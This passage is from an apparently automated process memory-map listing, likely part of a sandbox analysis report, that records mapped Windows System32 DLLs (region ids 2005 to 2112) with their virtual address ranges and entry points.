"\\Windows\\System32\\hnetcfg.dll" (normalized: "c:\\windows\\system32\\hnetcfg.dll") Region: id = 2005 start_va = 0x7ffa6db00000 end_va = 0x7ffa6db15fff monitored = 0 entry_point = 0x7ffa6db01af0 region_type = mapped_file name = "napinsp.dll" filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll") Region: id = 2006 start_va = 0x7ffa6db20000 end_va = 0x7ffa6db39fff monitored = 0 entry_point = 0x7ffa6db22330 region_type = mapped_file name = "pnrpnsp.dll" filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll") Region: id = 2007 start_va = 0x7ffa6db60000 end_va = 0x7ffa6db6cfff monitored = 0 entry_point = 0x7ffa6db61420 region_type = mapped_file name = "winrnr.dll" filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll") Region: id = 2008 start_va = 0x7ffa6df40000 end_va = 0x7ffa6df4bfff monitored = 0 entry_point = 0x7ffa6df435c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 2009 start_va = 0x7ffa6df50000 end_va = 0x7ffa6df93fff monitored = 0 entry_point = 0x7ffa6df783e0 region_type = mapped_file name = "updatehandlers.dll" filename = "\\Windows\\System32\\updatehandlers.dll" (normalized: "c:\\windows\\system32\\updatehandlers.dll") Region: id = 2010 start_va = 0x7ffa6dfa0000 end_va = 0x7ffa6dfdffff monitored = 0 entry_point = 0x7ffa6dfacbe0 region_type = mapped_file name = "adsldpc.dll" filename = "\\Windows\\System32\\adsldpc.dll" (normalized: "c:\\windows\\system32\\adsldpc.dll") Region: id = 2011 start_va = 0x7ffa6dfe0000 end_va = 0x7ffa6e026fff monitored = 0 entry_point = 0x7ffa6dfe1d10 region_type = mapped_file name = "activeds.dll" filename = "\\Windows\\System32\\activeds.dll" (normalized: "c:\\windows\\system32\\activeds.dll") Region: id = 2012 start_va = 0x7ffa6e1c0000 end_va = 0x7ffa6e201fff monitored = 0 entry_point = 0x7ffa6e1c3670 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 2013 start_va = 0x7ffa6e370000 end_va = 0x7ffa6e38efff monitored = 0 entry_point = 0x7ffa6e3737e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 2014 start_va = 0x7ffa6e390000 end_va = 0x7ffa6e408fff monitored = 0 entry_point = 0x7ffa6e3976a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 2015 start_va = 0x7ffa6e410000 end_va = 0x7ffa6e44ffff monitored = 0 entry_point = 0x7ffa6e426c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 2016 start_va = 0x7ffa6e5e0000 end_va = 0x7ffa6e5f7fff monitored = 0 entry_point = 0x7ffa6e5e2000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 2017 start_va = 0x7ffa6e600000 end_va = 0x7ffa6e781fff monitored = 0 entry_point = 0x7ffa6e6182a0 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 2018 start_va = 0x7ffa6e790000 end_va = 0x7ffa6e7a7fff monitored = 0 entry_point = 0x7ffa6e794e10 region_type = mapped_file name = "adhsvc.dll" filename = "\\Windows\\System32\\adhsvc.dll" (normalized: "c:\\windows\\system32\\adhsvc.dll") Region: id = 2019 start_va = 0x7ffa6e7b0000 end_va = 0x7ffa6e7d4fff monitored = 0 entry_point = 0x7ffa6e7b5ca0 region_type = mapped_file name = "httpprxm.dll" filename = "\\Windows\\System32\\httpprxm.dll" (normalized: "c:\\windows\\system32\\httpprxm.dll") Region: id = 2020 start_va = 0x7ffa6e810000 end_va = 0x7ffa6e8b2fff monitored = 0 entry_point = 0x7ffa6e812c10 region_type = mapped_file name = "clusapi.dll" filename = "\\Windows\\System32\\clusapi.dll" (normalized: "c:\\windows\\system32\\clusapi.dll") Region: id = 2021 start_va = 0x7ffa6e8c0000 end_va = 0x7ffa6e911fff monitored = 0 entry_point = 0x7ffa6e8c5770 region_type = mapped_file name = "resutils.dll" filename = "\\Windows\\System32\\resutils.dll" (normalized: "c:\\windows\\system32\\resutils.dll") Region: id = 2022 start_va = 0x7ffa6e920000 end_va = 0x7ffa6e94dfff monitored = 1 entry_point = 0x7ffa6e922300 region_type = mapped_file name = "wmidcom.dll" filename = "\\Windows\\System32\\wmidcom.dll" (normalized: "c:\\windows\\system32\\wmidcom.dll") Region: id = 2023 start_va = 0x7ffa6e950000 end_va = 0x7ffa6e9adfff monitored = 0 entry_point = 0x7ffa6e955080 region_type = mapped_file name = "miutils.dll" filename = "\\Windows\\System32\\miutils.dll" (normalized: "c:\\windows\\system32\\miutils.dll") Region: id = 2024 start_va = 0x7ffa6e9b0000 end_va = 0x7ffa6e9cffff monitored = 0 entry_point = 0x7ffa6e9b1f50 region_type = mapped_file name = "mi.dll" filename = "\\Windows\\System32\\mi.dll" (normalized: "c:\\windows\\system32\\mi.dll") Region: id = 2025 start_va = 0x7ffa6e9d0000 end_va = 0x7ffa6e9d8fff monitored = 0 entry_point = 0x7ffa6e9d18f0 region_type = mapped_file name = "sscoreext.dll" filename = "\\Windows\\System32\\sscoreext.dll" (normalized: "c:\\windows\\system32\\sscoreext.dll") Region: id = 2026 start_va = 0x7ffa6e9e0000 end_va = 0x7ffa6e9f0fff monitored = 0 entry_point = 0x7ffa6e9e1d30 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 2027 start_va = 0x7ffa6ea00000 end_va = 0x7ffa6ea40fff monitored = 0 entry_point = 0x7ffa6ea03750 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 2028 start_va = 0x7ffa6ea50000 end_va = 0x7ffa6eb42fff monitored = 0 entry_point = 0x7ffa6ea75d80 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 2029 start_va = 0x7ffa6ed20000 end_va = 0x7ffa6f018fff monitored = 0 entry_point = 0x7ffa6ede7280 region_type = mapped_file name = "esent.dll" filename = "\\Windows\\System32\\esent.dll" (normalized: "c:\\windows\\system32\\esent.dll") Region: id = 2030 start_va = 0x7ffa6f130000 end_va = 0x7ffa6f17bfff monitored = 0 entry_point = 0x7ffa6f145310 region_type = mapped_file name = "srvsvc.dll" filename = "\\Windows\\System32\\srvsvc.dll" (normalized: "c:\\windows\\system32\\srvsvc.dll") Region: id = 2031 start_va = 0x7ffa6f330000 end_va = 0x7ffa6f3aefff monitored = 0 entry_point = 0x7ffa6f347110 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 2032 start_va = 0x7ffa6f3b0000 end_va = 0x7ffa6f3ebfff monitored = 0 entry_point = 0x7ffa6f3b6aa0 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 2033 start_va = 0x7ffa6f440000 end_va = 0x7ffa6f474fff monitored = 0 entry_point = 0x7ffa6f44a270 region_type = mapped_file name = "fwpolicyiomgr.dll" filename = "\\Windows\\System32\\fwpolicyiomgr.dll" (normalized: "c:\\windows\\system32\\fwpolicyiomgr.dll") Region: id = 2034 start_va = 0x7ffa6f480000 end_va = 0x7ffa6f496fff monitored = 0 entry_point = 0x7ffa6f487520 region_type = mapped_file name = "usoapi.dll" filename = "\\Windows\\System32\\usoapi.dll" (normalized: "c:\\windows\\system32\\usoapi.dll") Region: id = 2035 start_va = 0x7ffa6f830000 end_va = 0x7ffa6f839fff monitored = 0 entry_point = 0x7ffa6f8314c0 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 2036 start_va = 0x7ffa6fbf0000 end_va = 0x7ffa6fbf8fff monitored = 0 entry_point = 0x7ffa6fbf21d0 region_type = mapped_file name = "httpprxc.dll" filename = "\\Windows\\System32\\httpprxc.dll" (normalized: "c:\\windows\\system32\\httpprxc.dll") Region: id = 2037 start_va = 0x7ffa70370000 end_va = 0x7ffa70384fff monitored = 0 entry_point = 0x7ffa70372dc0 region_type = mapped_file name = "ondemandconnroutehelper.dll" filename = "\\Windows\\System32\\OnDemandConnRouteHelper.dll" (normalized: "c:\\windows\\system32\\ondemandconnroutehelper.dll") Region: id = 2038 start_va = 0x7ffa708c0000 end_va = 0x7ffa708d1fff monitored = 0 entry_point = 0x7ffa708c3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 2039 start_va = 0x7ffa70950000 end_va = 0x7ffa7096afff monitored = 0 entry_point = 0x7ffa70951040 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 2040 start_va = 0x7ffa709d0000 end_va = 0x7ffa709dffff monitored = 0 entry_point = 0x7ffa709d1700 region_type = mapped_file name = "proximityservicepal.dll" filename = "\\Windows\\System32\\ProximityServicePal.dll" (normalized: "c:\\windows\\system32\\proximityservicepal.dll") Region: id = 2041 start_va = 0x7ffa709e0000 end_va = 0x7ffa709e8fff monitored = 0 entry_point = 0x7ffa709e1ed0 region_type = mapped_file name = "proximitycommonpal.dll" filename = "\\Windows\\System32\\ProximityCommonPal.dll" (normalized: "c:\\windows\\system32\\proximitycommonpal.dll") Region: id = 2042 start_va = 0x7ffa709f0000 end_va = 0x7ffa70a1cfff monitored = 0 entry_point = 0x7ffa709f2290 region_type = mapped_file name = "proximitycommon.dll" filename = "\\Windows\\System32\\ProximityCommon.dll" (normalized: "c:\\windows\\system32\\proximitycommon.dll") Region: id = 2043 start_va = 0x7ffa70a20000 end_va = 0x7ffa70a71fff monitored = 0 entry_point = 0x7ffa70a238e0 region_type = mapped_file name = "proximityservice.dll" filename = "\\Windows\\System32\\ProximityService.dll" (normalized: "c:\\windows\\system32\\proximityservice.dll") Region: id = 2044 start_va = 0x7ffa70ae0000 end_va = 0x7ffa70aedfff monitored = 0 entry_point = 0x7ffa70ae1460 region_type = mapped_file name = "npmproxy.dll" filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll") Region: id = 2045 start_va = 0x7ffa70bb0000 end_va = 0x7ffa70c31fff monitored = 0 entry_point = 0x7ffa70bb1790 region_type = mapped_file name = "newdev.dll" filename = "\\Windows\\System32\\newdev.dll" (normalized: "c:\\windows\\system32\\newdev.dll") Region: id = 2046 start_va = 0x7ffa70c40000 end_va = 0x7ffa70c54fff monitored = 0 entry_point = 0x7ffa70c43460 region_type = mapped_file name = "ssdpapi.dll" filename = "\\Windows\\System32\\ssdpapi.dll" (normalized: "c:\\windows\\system32\\ssdpapi.dll") Region: id = 2047 start_va = 0x7ffa70c60000 end_va = 0x7ffa70cf9fff monitored = 0 entry_point = 0x7ffa70c7ada0 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 2048 start_va = 0x7ffa70dd0000 end_va = 0x7ffa70ddbfff monitored = 0 entry_point = 0x7ffa70dd2830 region_type = mapped_file name = "bi.dll" filename = "\\Windows\\System32\\bi.dll" (normalized: "c:\\windows\\system32\\bi.dll") Region: id = 2049 start_va = 0x7ffa70de0000 end_va = 0x7ffa70e9ffff monitored = 0 entry_point = 0x7ffa70e0fd20 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 2050 start_va = 0x7ffa70ea0000 end_va = 0x7ffa70ea7fff monitored = 0 entry_point = 0x7ffa70ea13b0 region_type = mapped_file name = "dmiso8601utils.dll" filename = "\\Windows\\System32\\dmiso8601utils.dll" (normalized: "c:\\windows\\system32\\dmiso8601utils.dll") Region: id = 2051 start_va = 0x7ffa70eb0000 end_va = 0x7ffa70f16fff monitored = 0 entry_point = 0x7ffa70eb63e0 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 2052 start_va = 0x7ffa70f30000 end_va = 0x7ffa70f65fff monitored = 0 entry_point = 0x7ffa70f327f0 region_type = mapped_file name = "windows.networking.hostname.dll" filename = "\\Windows\\System32\\Windows.Networking.HostName.dll" (normalized: "c:\\windows\\system32\\windows.networking.hostname.dll") Region: id = 2053 start_va = 0x7ffa71010000 end_va = 0x7ffa7101afff monitored = 0 entry_point = 0x7ffa71011d30 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 2054 start_va = 0x7ffa710e0000 end_va = 0x7ffa710f9fff monitored = 0 entry_point = 0x7ffa710e2430 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 2055 start_va = 0x7ffa71100000 end_va = 0x7ffa71115fff monitored = 0 entry_point = 0x7ffa711019f0 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 2056 start_va = 0x7ffa71170000 end_va = 0x7ffa71180fff monitored = 0 entry_point = 0x7ffa711728d0 region_type = mapped_file name = "credentialmigrationhandler.dll" filename = "\\Windows\\System32\\CredentialMigrationHandler.dll" (normalized: "c:\\windows\\system32\\credentialmigrationhandler.dll") Region: id = 2057 start_va = 0x7ffa71200000 end_va = 0x7ffa71237fff monitored = 0 entry_point = 0x7ffa71218cc0 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 2058 start_va = 0x7ffa712e0000 end_va = 0x7ffa7138dfff monitored = 0 entry_point = 0x7ffa712f80c0 region_type = mapped_file name = "windows.networking.connectivity.dll" filename = "\\Windows\\System32\\Windows.Networking.Connectivity.dll" (normalized: "c:\\windows\\system32\\windows.networking.connectivity.dll") Region: id = 2059 start_va = 0x7ffa71390000 end_va = 0x7ffa713a1fff monitored = 0 entry_point = 0x7ffa71399260 region_type = mapped_file name = "rilproxy.dll" filename = "\\Windows\\System32\\rilproxy.dll" (normalized: "c:\\windows\\system32\\rilproxy.dll") Region: id = 2060 start_va = 0x7ffa713b0000 end_va = 0x7ffa71460fff monitored = 0 entry_point = 0x7ffa714288b0 region_type = mapped_file name = "cellularapi.dll" filename = "\\Windows\\System32\\CellularAPI.dll" (normalized: "c:\\windows\\system32\\cellularapi.dll") Region: id = 2061 start_va = 0x7ffa71480000 end_va = 0x7ffa714a4fff monitored = 0 entry_point = 0x7ffa71492f20 region_type = mapped_file name = "wificonnapi.dll" filename = "\\Windows\\System32\\wificonnapi.dll" (normalized: "c:\\windows\\system32\\wificonnapi.dll") Region: id = 2062 start_va = 0x7ffa714b0000 end_va = 0x7ffa714c0fff monitored = 0 entry_point = 0x7ffa714b7ea0 region_type = mapped_file name = "dcpapi.dll" filename = "\\Windows\\System32\\dcpapi.dll" (normalized: "c:\\windows\\system32\\dcpapi.dll") Region: id = 2063 start_va = 0x7ffa714d0000 end_va = 0x7ffa714e3fff monitored = 0 entry_point = 0x7ffa714d2d50 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 2064 start_va = 0x7ffa71550000 end_va = 0x7ffa7156cfff monitored = 0 entry_point = 0x7ffa71554f60 region_type = mapped_file name = "appinfo.dll" filename = "\\Windows\\System32\\appinfo.dll" (normalized: "c:\\windows\\system32\\appinfo.dll") Region: id = 2065 start_va = 0x7ffa71570000 end_va = 0x7ffa71587fff monitored = 0 entry_point = 0x7ffa71571b10 region_type = mapped_file name = "locationframeworkinternalps.dll" filename = "\\Windows\\System32\\LocationFrameworkInternalPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkinternalps.dll") Region: id = 2066 start_va = 0x7ffa716d0000 end_va = 0x7ffa71715fff monitored = 0 entry_point = 0x7ffa716d79a0 region_type = mapped_file name = "adsldp.dll" filename = "\\Windows\\System32\\adsldp.dll" (normalized: "c:\\windows\\system32\\adsldp.dll") Region: id = 2067 start_va = 0x7ffa71720000 end_va = 0x7ffa7172ffff monitored = 0 entry_point = 0x7ffa71721690 region_type = mapped_file name = "wups.dll" filename = "\\Windows\\System32\\wups.dll" (normalized: "c:\\windows\\system32\\wups.dll") Region: id = 2068 start_va = 0x7ffa71730000 end_va = 0x7ffa71794fff monitored = 0 entry_point = 0x7ffa71743170 region_type = mapped_file name = "wuuhext.dll" filename = "\\Windows\\System32\\wuuhext.dll" (normalized: "c:\\windows\\system32\\wuuhext.dll") Region: id = 2069 start_va = 0x7ffa717a0000 end_va = 0x7ffa717c1fff monitored = 0 entry_point = 0x7ffa717b2540 region_type = mapped_file name = "updatepolicy.dll" filename = "\\Windows\\System32\\updatepolicy.dll" (normalized: "c:\\windows\\system32\\updatepolicy.dll") Region: id = 2070 start_va = 0x7ffa71a90000 end_va = 0x7ffa71aa8fff monitored = 0 entry_point = 0x7ffa71a94520 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 2071 start_va = 0x7ffa71b60000 end_va = 0x7ffa71b79fff monitored = 0 entry_point = 0x7ffa71b62cf0 region_type = mapped_file name = "locationpelegacywinlocation.dll" filename = "\\Windows\\System32\\LocationPeLegacyWinLocation.dll" (normalized: "c:\\windows\\system32\\locationpelegacywinlocation.dll") Region: id = 2072 start_va = 0x7ffa71b80000 end_va = 0x7ffa71bd4fff monitored = 0 entry_point = 0x7ffa71b83fb0 region_type = mapped_file name = "policymanager.dll" filename = "\\Windows\\System32\\policymanager.dll" (normalized: "c:\\windows\\system32\\policymanager.dll") Region: id = 2073 start_va = 0x7ffa71be0000 end_va = 0x7ffa71c16fff monitored = 0 entry_point = 0x7ffa71be6020 region_type = mapped_file name = "gnssadapter.dll" filename = "\\Windows\\System32\\GnssAdapter.dll" (normalized: "c:\\windows\\system32\\gnssadapter.dll") Region: id = 2074 start_va = 0x7ffa71c20000 end_va = 0x7ffa71c3ffff monitored = 0 entry_point = 0x7ffa71c239a0 region_type = mapped_file name = "locationwinpalmisc.dll" filename = "\\Windows\\System32\\LocationWinPalMisc.dll" (normalized: "c:\\windows\\system32\\locationwinpalmisc.dll") Region: id = 2075 start_va = 0x7ffa71ee0000 end_va = 0x7ffa71f20fff monitored = 0 entry_point = 0x7ffa71ee4840 region_type = mapped_file name = "usermgrproxy.dll" filename = "\\Windows\\System32\\UserMgrProxy.dll" (normalized: "c:\\windows\\system32\\usermgrproxy.dll") Region: id = 2076 start_va = 0x7ffa72480000 end_va = 0x7ffa7248bfff monitored = 0 entry_point = 0x7ffa724814d0 region_type = mapped_file name = "locationframeworkps.dll" filename = "\\Windows\\System32\\LocationFrameworkPS.dll" (normalized: "c:\\windows\\system32\\locationframeworkps.dll") Region: id = 2077 start_va = 0x7ffa724b0000 end_va = 0x7ffa724c6fff monitored = 0 entry_point = 0x7ffa724b5630 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 2078 start_va = 0x7ffa724d0000 end_va = 0x7ffa72597fff monitored = 0 entry_point = 0x7ffa725113f0 region_type = mapped_file name = "winhttp.dll" filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll") Region: id = 2079 start_va = 0x7ffa725a0000 end_va = 0x7ffa72600fff monitored = 0 entry_point = 0x7ffa725a4b50 region_type = mapped_file name = "wlanapi.dll" filename = "\\Windows\\System32\\wlanapi.dll" (normalized: "c:\\windows\\system32\\wlanapi.dll") Region: id = 2080 start_va = 0x7ffa72610000 end_va = 0x7ffa7278bfff monitored = 0 entry_point = 0x7ffa72661650 region_type = mapped_file name = "locationframework.dll" filename = "\\Windows\\System32\\LocationFramework.dll" (normalized: "c:\\windows\\system32\\locationframework.dll") Region: id = 2081 start_va = 0x7ffa72950000 end_va = 0x7ffa72cd1fff monitored = 0 entry_point = 0x7ffa729a1220 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 2082 start_va = 0x7ffa73dd0000 end_va = 0x7ffa73eddfff monitored = 0 entry_point = 0x7ffa73e1eaa0 region_type = mapped_file name = "mrmcorer.dll" filename = "\\Windows\\System32\\MrmCoreR.dll" (normalized: "c:\\windows\\system32\\mrmcorer.dll") Region: id = 2083 start_va = 0x7ffa741e0000 end_va = 0x7ffa741eafff monitored = 0 entry_point = 0x7ffa741e1770 region_type = mapped_file name = "lfsvc.dll" filename = "\\Windows\\System32\\lfsvc.dll" (normalized: "c:\\windows\\system32\\lfsvc.dll") Region: id = 2084 start_va = 0x7ffa741f0000 end_va = 0x7ffa74202fff monitored = 0 entry_point = 0x7ffa741f57f0 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 2085 start_va = 0x7ffa74210000 end_va = 0x7ffa74289fff monitored = 0 entry_point = 0x7ffa74237630 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 2086 start_va = 0x7ffa74290000 end_va = 0x7ffa743c5fff monitored = 0 entry_point = 0x7ffa742bf350 region_type = mapped_file name = "wintypes.dll" filename = "\\Windows\\System32\\WinTypes.dll" (normalized: "c:\\windows\\system32\\wintypes.dll") Region: id = 2087 start_va = 0x7ffa743d0000 end_va = 0x7ffa744b5fff monitored = 0 entry_point = 0x7ffa743ecf10 region_type = mapped_file name = "usermgr.dll" filename = "\\Windows\\System32\\usermgr.dll" (normalized: "c:\\windows\\system32\\usermgr.dll") Region: id = 2088 start_va = 0x7ffa744c0000 end_va = 0x7ffa744edfff monitored = 0 entry_point = 0x7ffa744c7550 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 2089 start_va = 0x7ffa744f0000 end_va = 0x7ffa74505fff monitored = 0 entry_point = 0x7ffa744f1b60 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 2090 start_va = 0x7ffa74510000 end_va = 0x7ffa74573fff monitored = 0 entry_point = 0x7ffa74525ae0 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 2091 start_va = 0x7ffa747d0000 end_va = 0x7ffa74861fff monitored = 0 entry_point = 0x7ffa7481a780 region_type = mapped_file name = "msvcp110_win.dll" filename = "\\Windows\\System32\\msvcp110_win.dll" (normalized: "c:\\windows\\system32\\msvcp110_win.dll") Region: id = 2092 start_va = 0x7ffa748f0000 end_va = 0x7ffa7492dfff monitored = 0 entry_point = 0x7ffa748fa050 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 2093 start_va = 0x7ffa74930000 end_va = 0x7ffa74956fff monitored = 0 entry_point = 0x7ffa74933bf0 region_type = mapped_file name = "profsvcext.dll" filename = "\\Windows\\System32\\profsvcext.dll" (normalized: "c:\\windows\\system32\\profsvcext.dll") Region: id = 2094 start_va = 0x7ffa74970000 end_va = 0x7ffa7497efff monitored = 0 entry_point = 0x7ffa74974960 region_type = mapped_file name = "nci.dll" filename = "\\Windows\\System32\\nci.dll" (normalized: "c:\\windows\\system32\\nci.dll") Region: id = 2095 start_va = 0x7ffa74980000 end_va = 0x7ffa749d4fff monitored = 0 entry_point = 0x7ffa7498fc00 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 2096 start_va = 0x7ffa749e0000 end_va = 0x7ffa749ecfff monitored = 0 entry_point = 0x7ffa749e2ca0 region_type = mapped_file name = "csystemeventsbrokerclient.dll" filename = "\\Windows\\System32\\CSystemEventsBrokerClient.dll" (normalized: "c:\\windows\\system32\\csystemeventsbrokerclient.dll") Region: id = 2097 start_va = 0x7ffa749f0000 end_va = 0x7ffa74a1efff monitored = 0 entry_point = 0x7ffa749f8910 region_type = mapped_file name = "wptaskscheduler.dll" filename = "\\Windows\\System32\\WPTaskScheduler.dll" (normalized: "c:\\windows\\system32\\wptaskscheduler.dll") Region: id = 2098 start_va = 0x7ffa74a40000 end_va = 0x7ffa74a52fff monitored = 0 entry_point = 0x7ffa74a41b10 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 2099 start_va = 0x7ffa74a70000 end_va = 0x7ffa74a7ffff monitored = 0 entry_point = 0x7ffa74a72c60 region_type = mapped_file name = "usermgrcli.dll" filename = "\\Windows\\System32\\usermgrcli.dll" (normalized: "c:\\windows\\system32\\usermgrcli.dll") Region: id = 2100 start_va = 0x7ffa74a80000 end_va = 0x7ffa74aedfff monitored = 0 entry_point = 0x7ffa74a87f60 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 2101 start_va = 0x7ffa74af0000 end_va = 0x7ffa74b00fff monitored = 0 entry_point = 0x7ffa74af3320 region_type = mapped_file name = "wmiclnt.dll" filename = "\\Windows\\System32\\wmiclnt.dll" (normalized: "c:\\windows\\system32\\wmiclnt.dll") Region: id = 2102 start_va = 0x7ffa74b10000 end_va = 0x7ffa74b50fff monitored = 0 entry_point = 0x7ffa74b27eb0 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 2103 start_va = 0x7ffa74b60000 end_va = 0x7ffa74c5bfff monitored = 0 entry_point = 0x7ffa74b96df0 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 2104 start_va = 0x7ffa74c90000 end_va = 0x7ffa74cb8fff monitored = 0 entry_point = 0x7ffa74c9ca00 region_type = mapped_file name = "cabinet.dll" filename = "\\Windows\\System32\\cabinet.dll" (normalized: "c:\\windows\\system32\\cabinet.dll") Region: id = 2105 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 2106 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 2107 start_va = 0x7ffa75630000 end_va = 0x7ffa75639fff monitored = 0 entry_point = 0x7ffa75631660 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 2108 start_va = 0x7ffa75640000 end_va = 0x7ffa75657fff monitored = 0 entry_point = 0x7ffa75645910 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 2109 start_va = 0x7ffa75660000 end_va = 0x7ffa757acfff monitored = 0 entry_point = 0x7ffa756a3da0 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 2110 start_va = 0x7ffa76220000 end_va = 0x7ffa76298fff monitored = 0 entry_point = 0x7ffa7623fb90 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 2111 start_va = 0x7ffa763e0000 end_va = 0x7ffa763f1fff monitored = 0 entry_point = 0x7ffa763e1a80 region_type = mapped_file name = "bitsproxy.dll" filename = "\\Windows\\System32\\BitsProxy.dll" (normalized: "c:\\windows\\system32\\bitsproxy.dll") Region: id = 2112 start_va = 0x7ffa76400000 end_va = 0x7ffa7641efff monitored = 0 entry_point = 